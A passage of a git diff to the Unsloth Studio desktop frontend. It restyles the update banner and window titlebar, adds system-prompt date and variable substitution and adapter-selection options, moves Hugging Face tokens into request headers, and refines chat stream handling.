@@ -9,6 +9,8 @@ import type {
   UpdateStatus,
 } from "@/hooks/use-tauri-update";
 import type { CopySupportDiagnosticsResult } from "@/lib/tauri-diagnostics";
+import { cn } from "@/lib/utils";
+import { CircleAlert, Download } from "lucide-react";
 import { AnimatePresence, motion } from "motion/react";
 import { useState } from "react";
 
@@ -20,6 +22,8 @@ interface UpdateBannerProps {
   isExternalServer?: boolean;
   updatePolicyMode: DesktopUpdatePolicyMode;
   manualReleaseUrl: string | null;
+  // false fills a shared overlay stack; true self-anchors.
+  positioned?: boolean;
   onInstall: () => void;
   onDismiss: () => void;
   onCopyDiagnostics: () => Promise<CopySupportDiagnosticsResult>;
@@ -27,6 +31,11 @@ interface UpdateBannerProps {
 
 const EASE_OUT_QUART: [number, number, number, number] = [0.165, 0.84, 0.44, 1];
 
+function formatVersion(version: string | null | undefined): string {
+  if (!version) return "";
+  return version.startsWith("v") ? version : `v${version}`;
+}
+
 export function UpdateBanner({
   status,
   info,
@@ -35,6 +44,7 @@ export function UpdateBanner({
   isExternalServer = false,
   updatePolicyMode,
   manualReleaseUrl,
+  positioned = true,
   onInstall,
   onDismiss,
   onCopyDiagnostics,
@@ -49,6 +59,9 @@ export function UpdateBanner({
   const installDisabled = isManualLinuxPackage
     ? manualReleaseUrl === null
     : isExternalServer;
+  const currentVersion = formatVersion(info?.currentVersion);
+  const latestVersion = formatVersion(info?.version);
+  const Icon = showFailure ? CircleAlert : Download;
 
   async function handleCopyDiagnostics() {
     setCopying(true);
@@ -59,7 +72,10 @@ export function UpdateBanner({
         setManualMessage(null);
       } else {
         setManualReport(result.report);
-        setManualMessage(result.error ?? "Clipboard copy failed. Select and copy the diagnostics below.");
+        setManualMessage(
+          result.error ??
+            "Clipboard copy failed. Select and copy the diagnostics below.",
+        );
       }
     } catch (error) {
       setManualReport(null);
@@ -73,30 +89,60 @@ export function UpdateBanner({
     <AnimatePresence>
       {show && (
         <motion.div
-          initial={{ opacity: 0, y: -12, scale: 0.96 }}
+          initial={{ opacity: 0, y: 12, scale: 0.96 }}
           animate={{ opacity: 1, y: 0, scale: 1 }}
-          exit={{ opacity: 0, y: -8, scale: 0.97 }}
+          exit={{ opacity: 0, y: 8, scale: 0.97 }}
           transition={{ duration: 0.35, ease: EASE_OUT_QUART }}
-          className="fixed top-4 right-4 z-[9999] w-[380px]"
+          className={cn(
+            positioned
+              ? "fixed bottom-4 right-4 z-[9999] w-[calc(100vw-2rem)] max-w-[400px]"
+              : "pointer-events-auto w-full",
+          )}
+          data-testid="tauri-update-banner"
         >
-          <div className="corner-squircle relative overflow-hidden border border-border/60 bg-background/95 px-5 py-4 shadow-lg backdrop-blur-md">
+          <div className="relative overflow-hidden rounded-[24px] bg-white px-5 pb-4 pt-5 shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] dark:bg-card dark:shadow-[0_8px_28px_-6px_rgba(0,0,0,0.28)]">
             <button
               type="button"
               onClick={onDismiss}
-              className="absolute top-3 right-3 flex size-6 items-center justify-center rounded-md text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
+              className="absolute top-2.5 right-3 flex size-6 items-center justify-center rounded-full text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
+              aria-label="Dismiss app update notification"
             >
-              <svg aria-hidden="true" width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
-                <path d="M11 3L3 11M3 3l8 8" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" />
+              <svg
+                aria-hidden="true"
+                width="12"
+                height="12"
+                viewBox="0 0 14 14"
+                fill="none"
+                xmlns="http://www.w3.org/2000/svg"
+              >
+                <path
+                  d="M11 3L3 11M3 3l8 8"
+                  stroke="currentColor"
+                  strokeWidth="1.5"
+                  strokeLinecap="round"
+                />
               </svg>
             </button>
 
-            <div className="flex items-center gap-2">
-              <span className="text-lg">🦥</span>
-              <div>
-                <p className="text-sm font-semibold text-foreground">
-                  {showFailure ? "App update failed" : `New version: v${info?.version}`}
+            <div className="flex min-w-0 items-start gap-4 pr-6">
+              <Icon
+                aria-hidden="true"
+                className="mt-1 size-5 shrink-0 text-foreground"
+                strokeWidth={1.75}
+              />
+              <div className="min-w-0">
+                <p className="font-heading text-base font-medium text-foreground">
+                  {showFailure ? "App update failed" : "New Unsloth version"}
                 </p>
-                <p className="text-xs text-muted-foreground">
+                {showFailure ? null : (
+                  <p className="mt-0.5 text-xs text-muted-foreground">
+                    {currentVersion} &rarr;{" "}
+                    <span className="font-medium text-foreground">
+                      {latestVersion}
+                    </span>
+                  </p>
+                )}
+                <p className="mt-1 text-[11px] text-muted-foreground/70">
                   {showFailure
                     ? "Backend recovered. Diagnostics are still available."
                     : isManualLinuxPackage
@@ -114,31 +160,56 @@ export function UpdateBanner({
               </p>
             )}
 
-            <div className="mt-3 flex items-center gap-2">
+            <div className="mt-4 flex flex-wrap items-center justify-end gap-x-1 gap-y-2">
               {showFailure ? (
                 <>
-                  <Button size="sm" variant="outline" className="corner-squircle" onClick={() => {
-                    handleCopyDiagnostics().catch(console.error);
-                  }}>
-                    {copying ? "Copying..." : "Copy Diagnostics"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={() => {
+                      handleCopyDiagnostics().catch(console.error);
+                    }}
+                  >
+                    {copying ? "Copying..." : "Copy diagnostics"}
                   </Button>
-                  <Button size="sm" className="corner-squircle" onClick={onInstall} disabled={installDisabled}>
-                    {isManualLinuxPackage ? "Open Release Page" : "Retry Update"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={onDismiss}
+                  >
+                    Later
+                  </Button>
+                  <Button
+                    size="sm"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    onClick={onInstall}
+                    disabled={installDisabled}
+                  >
+                    {isManualLinuxPackage ? "Open release page" : "Retry update"}
                   </Button>
                 </>
               ) : (
                 <>
-                  <Button size="sm" className="corner-squircle" onClick={onInstall} disabled={installDisabled}>
-                    {isManualLinuxPackage ? "Open Release Page" : "Update Now"}
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    onClick={onDismiss}
+                  >
+                    Remind me later
                   </Button>
-                  <Button size="sm" variant="outline" className="corner-squircle" disabled={true}>
-                    Release Notes
+                  <Button
+                    size="sm"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    onClick={onInstall}
+                    disabled={installDisabled}
+                  >
+                    {isManualLinuxPackage ? "Open release page" : "Update"}
                   </Button>
                 </>
               )}
-              <Button size="sm" variant="ghost" className="corner-squircle" onClick={onDismiss}>
-                Later
-              </Button>
             </div>
             {manualMessage && (
               <p className="mt-3 text-xs text-destructive">{manualMessage}</p>
diff --git a/studio/frontend/src/components/tauri/update-screen.tsx b/studio/frontend/src/components/tauri/update-screen.tsx
index aa540b7813..3199425f69 100644
--- a/studio/frontend/src/components/tauri/update-screen.tsx
+++ b/studio/frontend/src/components/tauri/update-screen.tsx
@@ -117,12 +117,12 @@ export function UpdateScreen({
   }
 
   return (
-    <div className="flex h-full w-full items-center justify-center bg-background">
+    <div className="box-border flex h-full w-full overflow-y-auto bg-background">
       <motion.div
         initial={{ opacity: 0, y: 8 }}
         animate={{ opacity: 1, y: 0 }}
         transition={{ duration: 0.4, ease: EASE_OUT_QUART }}
-        className="flex w-full max-w-xl flex-col items-center px-6"
+        className="mx-auto flex min-h-full w-full max-w-xl flex-col items-center justify-center px-6 pb-6 pt-[var(--studio-startup-top-inset,0px)]"
       >
         <Logo />
 
diff --git a/studio/frontend/src/components/tauri/window-titlebar.tsx b/studio/frontend/src/components/tauri/window-titlebar.tsx
index 96556a7999..66efe8d74a 100644
--- a/studio/frontend/src/components/tauri/window-titlebar.tsx
+++ b/studio/frontend/src/components/tauri/window-titlebar.tsx
@@ -1,10 +1,17 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { SIDEBAR_WIDTH, SIDEBAR_WIDTH_ICON } from "@/components/ui/sidebar";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { isTauri } from "@/lib/api-base";
 import { cn } from "@/lib/utils";
+import {
+  Cancel01Icon,
+  LayoutAlignLeftIcon,
+  MinusSignIcon,
+  SquareIcon,
+  SquareSquareIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
 import type { Window as TauriWindow } from "@tauri-apps/api/window";
 import {
   type MouseEvent,
@@ -56,6 +63,13 @@ export function shouldUseCustomWindowTitlebar(): boolean {
   return CUSTOM_TITLEBAR_PLATFORMS.some((token) => platform.includes(token));
 }
 
+export function shouldUseNativeMacWindowTitlebar(): boolean {
+  if (!isTauri) {
+    return false;
+  }
+  return getClientPlatform().includes("mac");
+}
+
 async function getAppWindow(): Promise<TauriWindow> {
   const { getCurrentWindow } = await import("@tauri-apps/api/window");
   return getCurrentWindow();
@@ -79,7 +93,7 @@ function WindowControlButton({
       title={label}
       onClick={onClick}
       className={cn(
-        "relative z-[80] inline-flex size-8 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted/80 hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
         className,
       )}
     >
@@ -88,39 +102,6 @@ function WindowControlButton({
   );
 }
 
-function MinimizeGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="h-px w-3.5 rounded-full bg-current" />
-  );
-}
-
-function MaximizeGlyph(): ReactElement {
-  return (
-    <span
-      aria-hidden="true"
-      className="size-3 rounded-[2px] border border-current"
-    />
-  );
-}
-
-function RestoreGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="relative size-3.5">
-      <span className="absolute left-0.5 top-0 size-2.5 rounded-[2px] border border-current" />
-      <span className="absolute bottom-0 right-0 size-2.5 rounded-[2px] border border-current bg-muted" />
-    </span>
-  );
-}
-
-function CloseGlyph(): ReactElement {
-  return (
-    <span aria-hidden="true" className="relative size-3.5">
-      <span className="absolute left-1/2 top-0 h-3.5 w-px -translate-x-1/2 rotate-45 rounded-full bg-current" />
-      <span className="absolute left-1/2 top-0 h-3.5 w-px -translate-x-1/2 -rotate-45 rounded-full bg-current" />
-    </span>
-  );
-}
-
 export function WindowTitlebar({
   showSidebarSurface = false,
 }: {
@@ -128,7 +109,13 @@ export function WindowTitlebar({
 }): ReactElement | null {
   const [enabled] = useState(shouldUseCustomWindowTitlebar);
   const [maximized, setMaximized] = useState(false);
-  const { pinned } = useSidebarPin();
+  const { pinned, togglePinned } = useSidebarPin();
+  const sidebarWidth = showSidebarSurface
+    ? pinned
+      ? "var(--studio-sidebar-expanded-width,17.5rem)"
+      : "var(--studio-sidebar-collapsed-width,3rem)"
+    : "0px";
+  const contentBorderLeft = `calc(${sidebarWidth} + 12px)`;
 
   const refreshMaximized = useCallback(async () => {
     if (!enabled) {
@@ -239,29 +226,113 @@ export function WindowTitlebar({
   return (
     <>
       <header
-        className="relative z-[60] flex h-[var(--studio-titlebar-height)] shrink-0 select-none items-center text-foreground"
+        className={cn(
+          "pointer-events-none absolute inset-x-0 top-0 z-[70] h-[var(--studio-custom-titlebar-height)] select-none text-foreground",
+          showSidebarSurface && "bg-sidebar text-sidebar-foreground",
+        )}
         aria-label="Window titlebar"
       >
         {showSidebarSurface && (
           <div
-            className={cn(
-              "h-full shrink-0 border-r border-sidebar-border dark:border-r-0",
-              pinned ? "bg-sidebar" : "bg-white dark:bg-background",
-            )}
-            style={{ width: pinned ? SIDEBAR_WIDTH : SIDEBAR_WIDTH_ICON }}
-            onMouseDown={handleDragMouseDown}
-            onDoubleClick={handleDragDoubleClick}
             aria-hidden="true"
+            className="pointer-events-none absolute top-full h-3 w-px -translate-x-px bg-sidebar"
+            style={{ left: sidebarWidth }}
           />
         )}
+        {showSidebarSurface && (
+          <div
+            aria-hidden="true"
+            className="pointer-events-none absolute top-full h-px bg-sidebar-border"
+            style={{ left: contentBorderLeft, right: 0 }}
+          />
+        )}
+        {showSidebarSurface && (
+          <div
+            aria-hidden="true"
+            className="pointer-events-none absolute top-full size-3 -translate-x-px rounded-tl-[12px] border-l border-t border-sidebar-border bg-background"
+            style={{ left: sidebarWidth }}
+          />
+        )}
+        {showSidebarSurface && (
+          <div
+            className={cn(
+              "pointer-events-auto absolute left-0 top-0 flex h-full min-w-0 items-center",
+              pinned ? "gap-2 px-3" : "justify-center",
+            )}
+            style={{ width: sidebarWidth }}
+            onMouseDown={handleDragMouseDown}
+            onDoubleClick={handleDragDoubleClick}
+          >
+            {pinned ? (
+              <>
+                <div className="flex min-w-0 flex-1 items-center gap-2">
+                  <img
+                    src="/rounded-512.png"
+                    alt=""
+                    aria-hidden="true"
+                    draggable={false}
+                    className="size-5 shrink-0 rounded-[6px] object-cover"
+                  />
+                  <span className="min-w-0 truncate text-[13px] font-semibold leading-none tracking-[0.01em] text-nav-fg">
+                    Unsloth Studio
+                  </span>
+                </div>
+                <button
+                  type="button"
+                  title="Collapse sidebar"
+                  aria-label="Collapse sidebar"
+                  onMouseDown={(event) => event.stopPropagation()}
+                  onDoubleClick={(event) => event.stopPropagation()}
+                  onClick={(event) => {
+                    event.stopPropagation();
+                    togglePinned();
+                  }}
+                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                >
+                  <HugeiconsIcon
+                    icon={LayoutAlignLeftIcon}
+                    strokeWidth={1.75}
+                    className="size-icon"
+                  />
+                </button>
+              </>
+            ) : (
+              <button
+                type="button"
+                title="Expand sidebar"
+                aria-label="Expand sidebar"
+                onMouseDown={(event) => event.stopPropagation()}
+                onDoubleClick={(event) => event.stopPropagation()}
+                onClick={(event) => {
+                  event.stopPropagation();
+                  togglePinned();
+                }}
+                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              >
+                <img
+                  src="/rounded-512.png"
+                  alt=""
+                  aria-hidden="true"
+                  draggable={false}
+                  className="size-5 rounded-[6px] object-cover"
+                />
+                <span className="sr-only">Expand sidebar</span>
+              </button>
+            )}
+          </div>
+        )}
         <div
-          className="h-full min-w-0 flex-1 border-b border-border/35 bg-muted/35"
+          className="pointer-events-auto absolute top-0 h-full"
+          style={{
+            left: sidebarWidth,
+            right: "calc(var(--studio-window-control-inset,112px) + 0.5rem)",
+          }}
           onMouseDown={handleDragMouseDown}
           onDoubleClick={handleDragDoubleClick}
           aria-hidden="true"
         />
         <div
-          className="flex h-full shrink-0 items-center gap-0.5 border-b border-border/35 bg-muted/35 px-1"
+          className="pointer-events-auto absolute right-1 top-0 flex h-full items-center gap-0.5 px-1"
           role="toolbar"
           aria-label="Window controls"
         >
@@ -269,7 +340,11 @@ export function WindowTitlebar({
             label="Minimize window"
             onClick={() => runWindowAction((appWindow) => appWindow.minimize())}
           >
-            <MinimizeGlyph />
+            <HugeiconsIcon
+              icon={MinusSignIcon}
+              strokeWidth={1.75}
+              className="size-[15px]"
+            />
           </WindowControlButton>
           <WindowControlButton
             label={maximized ? "Restore window" : "Maximize window"}
@@ -277,14 +352,22 @@ export function WindowTitlebar({
               runWindowAction((appWindow) => appWindow.toggleMaximize())
             }
           >
-            {maximized ? <RestoreGlyph /> : <MaximizeGlyph />}
+            <HugeiconsIcon
+              icon={maximized ? SquareSquareIcon : SquareIcon}
+              strokeWidth={1.75}
+              className="size-[14px]"
+            />
           </WindowControlButton>
           <WindowControlButton
             label="Close window"
             onClick={() => runWindowAction((appWindow) => appWindow.close())}
-            className="hover:bg-destructive hover:text-destructive-foreground focus-visible:ring-destructive/70"
+            className="hover:bg-destructive/10 hover:text-destructive focus-visible:ring-destructive/70 dark:hover:bg-destructive/20"
           >
-            <CloseGlyph />
+            <HugeiconsIcon
+              icon={Cancel01Icon}
+              strokeWidth={1.75}
+              className="size-[15px]"
+            />
           </WindowControlButton>
         </div>
       </header>
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index a58cdd94d7..df266fd749 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -47,6 +47,7 @@ import {
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
 import { useExternalProvidersStore } from "../stores/external-providers-store";
+import type { ModelType } from "../types";
 import { isMultimodalResponse } from "../types/api";
 import type {
   GgufVariantDetail,
@@ -142,6 +143,11 @@ interface ServerTimings {
 type RunMessages = Parameters<ChatModelAdapter["run"]>[0]["messages"];
 type RunMessage = RunMessages[number];
 
+type OpenAIStreamAdapterOptions = {
+  modelType?: ModelType;
+  pairId?: string;
+};
+
 /** Tracks which user messages were sent with an audio file (messageId → filename). */
 export const sentAudioNames = new Map<string, string>();
 
@@ -185,6 +191,124 @@ function wait(ms: number): Promise<void> {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
 
+function parseSystemVariablesMap(raw: string): Record<string, unknown> {
+  if (!raw.trim()) {
+    return {};
+  }
+  try {
+    const parsed = JSON.parse(raw) as unknown;
+    if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) {
+      return parsed as Record<string, unknown>;
+    }
+  } catch {
+    // Invalid JSON: keep unresolved placeholders in output prompt.
+  }
+  return {};
+}
+
+function hasOwn(object: object, key: string): boolean {
+  return Object.prototype.hasOwnProperty.call(object, key);
+}
+
+function getNestedValue(
+  values: Record<string, unknown>,
+  path: string,
+): unknown | undefined {
+  const parts = path.split(".").map((part) => part.trim()).filter(Boolean);
+  if (parts.length === 0) {
+    return undefined;
+  }
+  let current: unknown = values;
+  for (const part of parts) {
+    if (!current || typeof current !== "object" || Array.isArray(current)) {
+      return undefined;
+    }
+    if (!hasOwn(current, part)) {
+      return undefined;
+    }
+    current = (current as Record<string, unknown>)[part];
+  }
+  return current;
+}
+
+function padDatePart(value: number): string {
+  return String(value).padStart(2, "0");
+}
+
+function formatLocalDate(now: Date): string {
+  return [
+    now.getFullYear(),
+    padDatePart(now.getMonth() + 1),
+    padDatePart(now.getDate()),
+  ].join("-");
+}
+
+function formatLocalTime(now: Date): string {
+  return [
+    padDatePart(now.getHours()),
+    padDatePart(now.getMinutes()),
+    padDatePart(now.getSeconds()),
+  ].join(":");
+}
+
+function formatTimezoneOffset(now: Date): string {
+  const offsetMinutes = -now.getTimezoneOffset();
+  const sign = offsetMinutes >= 0 ? "+" : "-";
+  const abs = Math.abs(offsetMinutes);
+  const hours = Math.floor(abs / 60);
+  const minutes = abs % 60;
+  return `${sign}${padDatePart(hours)}:${padDatePart(minutes)}`;
+}
+
+function stringifyTemplateValue(value: unknown): string {
+  if (value == null) {
+    return "";
+  }
+  if (typeof value === "string") {
+    return value;
+  }
+  if (typeof value === "number" || typeof value === "boolean") {
+    return String(value);
+  }
+  try {
+    return JSON.stringify(value);
+  } catch {
+    return String(value);
+  }
+}
+
+function resolveSystemPromptVariables(
+  prompt: string,
+  customVariablesRaw: string,
+): string {
+  if (!prompt) {
+    return prompt;
+  }
+  const now = new Date();
+  const localDate = formatLocalDate(now);
+  const localTime = formatLocalTime(now);
+  const systemVariables: Record<string, string> = {
+    $date: localDate,
+    $time: localTime,
+    $now: `${localDate}T${localTime}${formatTimezoneOffset(now)}`,
+  };
+  const customVariables = parseSystemVariablesMap(customVariablesRaw);
+  return prompt.replaceAll(
+    /{{\s*([a-zA-Z_$][a-zA-Z0-9_$.-]*)\s*}}/g,
+    (full, keyRaw) => {
+      const key = String(keyRaw).trim();
+      if (hasOwn(systemVariables, key)) {
+        return systemVariables[key] ?? full;
+      }
+      const resolved = getNestedValue(customVariables, key);
+      if (resolved === undefined) {
+        return full;
+      }
+      return stringifyTemplateValue(resolved);
+    },
+  );
+}
+
 export const ThreadAutosaveHandle: ThreadAutosaveHandle = {
   registerFirstSave(threadId, promise) {
     const trackedPromise = promise.catch(() => {});
@@ -1064,7 +1188,17 @@ export function findLatestUserAudioBase64(
 
 async function resolveUseAdapter(
   threadId: string | undefined,
+  options: OpenAIStreamAdapterOptions = {},
 ): Promise<boolean | undefined> {
+  if (options.modelType === "model1" || options.modelType === "model2") {
+    return undefined;
+  }
+  if (
+    options.pairId &&
+    (options.modelType === "base" || options.modelType === "lora")
+  ) {
+    return options.modelType === "lora";
+  }
   if (!threadId) {
     return undefined;
   }
@@ -1511,7 +1645,9 @@ async function autoLoadSmallestModel(): Promise<{
   }
 }
 
-export function createOpenAIStreamAdapter(): ChatModelAdapter {
+export function createOpenAIStreamAdapter(
+  options: OpenAIStreamAdapterOptions = {},
+): ChatModelAdapter {
   return {
     async *run({ messages, abortSignal, unstable_threadId }) {
       await useChatRuntimeStore.getState().hydratePersistedSettings();
@@ -1778,7 +1914,14 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
       }
 
       const safeSystemPrompt =
-        typeof params.systemPrompt === "string" ? params.systemPrompt : "";
+        typeof params.systemPrompt === "string"
+          ? resolveSystemPromptVariables(
+              params.systemPrompt,
+              typeof params.systemVariables === "string"
+                ? params.systemVariables
+                : "",
+            )
+          : "";
       const projectInstructions =
         await resolveProjectInstructions(resolvedThreadId);
       const combinedSystemPrompt = [
@@ -1951,7 +2094,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
         }
         runtime.clearPendingAudio();
       }
-      const useAdapter = await resolveUseAdapter(resolvedThreadId);
+      const useAdapter = await resolveUseAdapter(resolvedThreadId, options);
 
       // ── Audio model path (non-streaming) ─────────────────────
       const activeModel = runtime.models.find(
@@ -2585,11 +2728,18 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                             params.checkpoint,
                           ),
                           autoinject_min_score: ragAutoInjectMinScore,
+
+                          ...(ragAutoInject === "off"
+                            ? { whole_doc: false }
+                            : {}),
+                          context_length:
+                            runtime.ggufContextLength ?? params.maxSeqLength ?? undefined,
                         },
                       }
                     : {}),
                   auto_heal_tool_calls:
                     useChatRuntimeStore.getState().autoHealToolCalls,
+                  nudge_tool_calls: useChatRuntimeStore.getState().nudgeToolCalls,
                   max_tool_calls_per_message:
                     useChatRuntimeStore.getState().maxToolCallsPerMessage,
                   tool_call_timeout: (() => {
@@ -2627,6 +2777,17 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
                 continue;
               }
 
+              // Local GGUF sends server-timed reasoning duration. Guard the type
+              // so a malformed or proxied chunk (string/null/NaN duration) can
+              // never turn the label into NaN.
+              const reasoningMs = (
+                chunk as { _reasoningDurationMs?: number } | null | undefined
+              )?._reasoningDurationMs;
+              if (typeof reasoningMs === "number" && Number.isFinite(reasoningMs)) {
+                reasoningDuration = Math.max(0, Math.round(reasoningMs / 1000));
+                continue;
+              }
+
               // Diffusion frame: a transient canvas snapshot. Route it to the transient
               // store (the in-bubble renderer reads it) and skip it; it has no assistant
               // text, so it never enters the transcript or the counters below.
@@ -3175,6 +3336,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
               }
               const textParts = parseAssistantContent(cumulativeText);
 
+              // Fallback when no server-side reasoning_summary arrives.
               if (
                 textParts.some((part) => part.type === "reasoning") &&
                 !reasoningStartAt
@@ -3283,6 +3445,13 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
           finalTokPerSec,
         );
 
+        // Finalize reasoning-only streams.
+        if (reasoningStartAt && !reasoningDuration) {
+          reasoningDuration = Math.max(
+            0,
+            Math.round((Date.now() - reasoningStartAt) / 1000),
+          );
+        }
         yield {
           content: [
             ...buildAssistantContent(cumulativeText),
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 589fae5fe9..8195d89528 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { hubTokenHeader } from "@/features/hub/lib/hub-token-header";
 import { consumeNativePathToken } from "@/features/native-intents/api";
 import { formatFastApiDetail } from "@/lib/format-fastapi-error";
 import type {
@@ -313,8 +314,12 @@ export interface CachedModelRepo {
   last_modified?: number;
 }
 
-export async function listCachedModels(): Promise<CachedModelRepo[]> {
-  const response = await authFetch("/api/models/cached-models");
+export async function listCachedModels(
+  hfToken?: string | null,
+): Promise<CachedModelRepo[]> {
+  const response = await authFetch("/api/models/cached-models", {
+    headers: hubTokenHeader(hfToken),
+  });
   const data = await parseJsonOrThrow<{ cached: CachedModelRepo[] }>(response);
   return data.cached;
 }
@@ -778,8 +783,9 @@ export async function listGgufVariants(
   hfToken?: string,
 ): Promise<GgufVariantsResponse> {
   const params = new URLSearchParams({ repo_id: repoId });
-  if (hfToken) params.set("hf_token", hfToken);
-  const response = await authFetch(`/api/models/gguf-variants?${params}`);
+  const response = await authFetch(`/api/models/gguf-variants?${params}`, {
+    headers: hubTokenHeader(hfToken),
+  });
   return parseJsonOrThrow<GgufVariantsResponse>(response);
 }
 
@@ -844,66 +850,96 @@ export async function* streamChatCompletions(
   const reader = response.body.getReader();
   const decoder = new TextDecoder();
   let buffer = "";
+  let completed = false;
 
-  while (true) {
-    const { done, value } = await reader.read();
-    if (done) {
-      break;
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        completed = true;
+        break;
+      }
+
+      buffer += decoder.decode(value, { stream: true });
+
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
+
+        const dataLines = parseSseEvent(rawEvent);
+        if (dataLines.length === 0) {
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+
+        const dataText = dataLines.join("\n");
+        if (dataText === "[DONE]") {
+          completed = true;
+          return;
+        }
+
+        const parsed = JSON.parse(dataText) as
+          | OpenAIChatChunk
+          | { type?: string; content?: string; error?: { message?: string } };
+        if ("error" in parsed && parsed.error) {
+          throw new Error(parsed.error.message || "Stream error");
+        }
+        // Tool status events are custom SSE payloads, not OpenAI chunks
+        if ("type" in parsed && parsed.type === "tool_status") {
+          yield {
+            _toolStatus: parsed.content ?? "",
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Diffusion frame: a per-step canvas snapshot. Custom SSE payload (not an OpenAI chunk) with
+        // no assistant text, surfaced as a transient marker for the in-place renderer, never the transcript.
+        if ("type" in parsed && parsed.type === "diffusion_frame") {
+          yield {
+            _diffusionFrame: parsed,
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Tool start/end events carry full input/output for the tool outputs panel
+        if (
+          "type" in parsed &&
+          (parsed.type === "tool_start" || parsed.type === "tool_end")
+        ) {
+          yield { _toolEvent: parsed } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        // Relay server-side reasoning duration.
+        if (
+          parsed &&
+          typeof parsed === "object" &&
+          "type" in parsed &&
+          parsed.type === "reasoning_summary"
+        ) {
+          yield {
+            _reasoningDurationMs: (parsed as { duration_ms?: number }).duration_ms,
+          } as unknown as OpenAIChatChunk;
+          separatorIndex = buffer.search(/\r?\n\r?\n/);
+          continue;
+        }
+        yield parsed as OpenAIChatChunk;
+        separatorIndex = buffer.search(/\r?\n\r?\n/);
+      }
     }
-
-    buffer += decoder.decode(value, { stream: true });
-
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
-
-      const dataLines = parseSseEvent(rawEvent);
-      if (dataLines.length === 0) {
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
+  } finally {
+    // Only abort on an early/abnormal exit. After a natural [DONE] (or server
+    // EOF) the request is logically complete and the backend finalizes its
+    // api-monitor entry right after the sentinel; cancelling here can be seen as
+    // a disconnect and mark a successful request as cancelled.
+    if (!completed) {
+      try {
+        await reader.cancel();
+      } catch {
+        // already closed
       }
-
-      const dataText = dataLines.join("\n");
-      if (dataText === "[DONE]") {
-        return;
-      }
-
-      const parsed = JSON.parse(dataText) as
-        | OpenAIChatChunk
-        | { type?: string; content?: string; error?: { message?: string } };
-      if ("error" in parsed && parsed.error) {
-        throw new Error(parsed.error.message || "Stream error");
-      }
-      // Tool status events are custom SSE payloads, not OpenAI chunks
-      if ("type" in parsed && parsed.type === "tool_status") {
-        yield {
-          _toolStatus: parsed.content ?? "",
-        } as unknown as OpenAIChatChunk;
-        separatorIndex = buffer.search(/\r?\n\r?\n/);
-        continue;
-      }
-      // Diffusion frame: a per-step canvas snapshot. Custom SSE payload (not an OpenAI chunk) with
